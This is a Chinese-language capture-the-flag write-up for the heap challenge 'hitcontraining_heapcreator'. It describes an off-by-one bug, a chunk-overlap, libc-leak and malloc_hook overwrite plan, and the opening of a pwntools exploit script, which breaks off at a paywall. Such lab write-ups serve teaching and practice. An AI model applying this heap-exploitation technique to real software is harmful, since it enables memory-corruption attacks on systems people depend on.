71 hitcontraining_heapcreator
保护
菜单
功能还是很齐全的,题目应该不难。
create
结构简单。

edit
read_input那里有off by one。
show

delete
平平无奇输出删除。
那我们就是常规思路,通过off by one,制造overlapping,然后泄露地址,malloc_hook一套给它带走。
首先我们想的是通过off by one,申请4个0x71大小的chunk,将第一个chunk的size改成0xe1,然后free掉,从而制造overlapping,我们再将第一个申请回来,然后地址就会中第二个chunk中,就可以释放地址。顺路把第二个的chunkfd改成malloc - 0x8的位置,然后申请回来,编辑就好了。
但是要注意的是因为里面create一次会创建两个chunk,大小也不一样,所以我们要先申请并且释放一些0x10的chunk,来让后面那些0x70的chunk是在一起的,方便溢出。
exp
# -*- coding: utf-8 -*-
from pwn import *
#r = remote('node3.buuoj.cn',25794)
r = process('./71')
context.log_level = "debug"
elf = ELF('./71')
libc = ELF('./64/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
one_gadget = 0x4526a
def create(size, content):
r.sendlineafter("Your choice :", "1")
r.sendlineafter("Size of Heap : ", str(size))
r.sendlineafter("Content of heap:", content)
def edit(index, content):
r.sendlineafter("Your choice :", "2")
r.sendlineafter("Index :", str(index))
r.sendlineafter("Content of heap : ", content)
def show(index):
r.sendlineafter("Your choice :", "3")
r.sendlineafter("Index :", str(index))
def delete(index):
r.sendlineafter("Your choice :", "4")
r.sendlineafter("Index :", str(index))
create(0x18, '0000') #0
create(0x18, '0000') #1
create(0x18, '0000') #2
delete(0)
delete(1)
delete(2)
create(0x68, 'aaaa'

最低0.47元/天 解锁文章
300

被折叠的 条评论
为什么被折叠?



